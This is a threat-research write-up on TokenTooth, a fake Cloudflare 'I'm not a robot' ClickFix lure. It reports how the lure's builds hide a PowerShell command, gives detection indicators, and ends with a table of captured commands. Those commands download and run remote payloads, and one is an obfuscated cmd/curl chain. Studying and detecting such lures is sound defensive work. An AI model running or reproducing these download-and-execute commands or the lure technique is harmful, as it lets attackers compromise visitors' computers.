TokenTooth ClickFix kit

TokenTooth is a fake Cloudflare check that creates its own challenge token and copies a command when the visitor clicks its checkbox. We have matched it on 13 sites since 3 August.

Research by Kirk

TokenTooth in numbers

Since 3 August, the first TokenTooth match in our records, counted on 12 November 2026. How we count.

Sites with TokenTooth code	13
Sites with a match in the last 30 days	1
New sites in October	0
Still serving it when recaptured at least 25 days later	2 of 3 sites (67%)
Sites running WordPress (captured since 25 September)	0%

A challenge token made locally

TokenTooth is a complete lure page styled as a Cloudflare human check. JavaScript generates an 80-character token, a timestamp and 20 more random characters, then rewrites the address with a __cf_chl_tk value. The browser never receives that challenge state from Cloudflare.

Early pages reject mobile user agents and windows narrower than 768 pixels. On desktop, a preloader gives way to an "I'm not a robot" checkbox. Clicking it copies the command, opens a larger verification panel and fills the page with a random verification number and Ray ID. The instructions tell the visitor to press Win+R, paste and run the command.

The lure moved between packing methods

The first build keeps its PowerShell command in plain text:

powershell -c "iex(irm '[remote address]' -UseBasicParsing)"

A second build stores the entire HTML document as decimal character codes. A short outer script reconstructs it with String.fromCharCode and document.write. Once decoded, the token generator, checkbox IDs, command and instruction flow match the plain page almost exactly.

The later build returns to readable HTML and adds six languages. It chooses a language from the address, local storage or the browser, and gives Windows and Mac visitors separate instruction panels. The Windows command is Base64 inside the click handler and decoded with atob just before the clipboard write. The Mac branch decodes an empty string, so that build only gives Windows visitors a command.

The visual sequence stayed stable across the builds: preloader, checkbox, spinner, command steps and a final success state. What changed was how the source hid the command and how many visitors the page could address.

What we see

Month	New sites
September	5
October	0
November so far	0

Of the 3 sites recaptured at least 25 days after their first match, 2 was still serving TokenTooth (67%). Of the 4 TokenTooth sites captured since 25 September, 0 ran WordPress.

Checking a page

Search the served HTML and rendered page for:

code that generates and writes its own __cf_chl_tk query value
a checkbox handler that calls navigator.clipboard.writeText
CLIPBOARD_CODE_WINDOWS on the body of a lure page
a long decimal array rebuilt with String.fromCharCode and document.write
an atob command beside an isMac branch whose Mac value is empty
locally generated verification and Ray IDs

Inspect both the original response and the rendered DOM. The numeric build exposes its identifying strings only after the browser reconstructs the page.

Hosts its commands download from

TokenTooth lure commands we captured download from 6 hosts.

Host	Sites	Last seen	Latest command
`85[.]239[.]149[.]16`	2	7 September 2026	Command `powershell -c "iex(irm '85[.]239[.]149[.]16/CloudFlare_Verification_Code_845270' -UseBasicParsing)"` URL `hxxp://85[.]239[.]149[.]16/CloudFlare_Verification_Code_845270` First seen 6 September 2026, 2 URLs on this host.
`144[.]124[.]236[.]191`	1	29 September 2026	Command `conhost.exe --headless cm""d /V:on /c "set t=u&set pu=x&set Q=g&set h=o&set D=\&c!t!rl 144[.]124[.]236[.]191/test.t!pu!t -!h! c:!D!!D!!t!sers!D!!D!p!t!blic!D!!D!ay!pu!ykk.tmp&&p!h!wershell ie!pu!(!Q!c c:!D!!D!!t!sers!D!!D!p!t!blic!D!!D!ay!pu!ykk.tmp -raw)"` URL `hxxp://144[.]124[.]236[.]191/test.txt` First seen 29 September 2026, 1 URL on this host.
`193[.]148[.]56[.]98`	1	7 September 2026	Command `powershell -c "iex(irm '193[.]148[.]56[.]98/RybeSrULK2BqHx1xkk' -UseBasicParsing)" # VERFICATlON ID 838936586937562TE568374462074` URL `hxxp://193[.]148[.]56[.]98/RybeSrULK2BqHx1xkk` First seen 7 September 2026, 1 URL on this host.
`85[.]239[.]149[.]40`	1	27 September 2026	Command `powershell -c "iex(irm '85[.]239[.]149[.]40?CloudFlare_Captcha_ID_7716254T1' -UseBasicParsing)" # CloudFlare Captcha Verification ID T17483JDH21` URL `hxxp://85[.]239[.]149[.]40?CloudFlare_Captcha_ID_7716254T1` First seen 19 September 2026, 1 URL on this host.
`93[.]152[.]224[.]29`	1	19 September 2026	Command `powershell -c "iex(irm '93[.]152[.]224[.]29/IpS9GN16MBsmhWBe' -UseBasicParsing)"# CloudFlare Captcha Verification ID#517920G5752y45` URL `hxxp://93[.]152[.]224[.]29/IpS9GN16MBsmhWBe` First seen 19 September 2026, 1 URL on this host.
`soundcloudapp[.]com`	1	13 October 2026	Command `iwr 'hxxps://soundcloudapp[.]com/files/addon.exe' -o $env:tmp\gsxo.exe; & $env:tmp\gsxo.exe` URL `hxxps://soundcloudapp[.]com/files/addon.exe` First seen 13 October 2026, 1 URL on this host.

The ClickFix command tracker lists every host.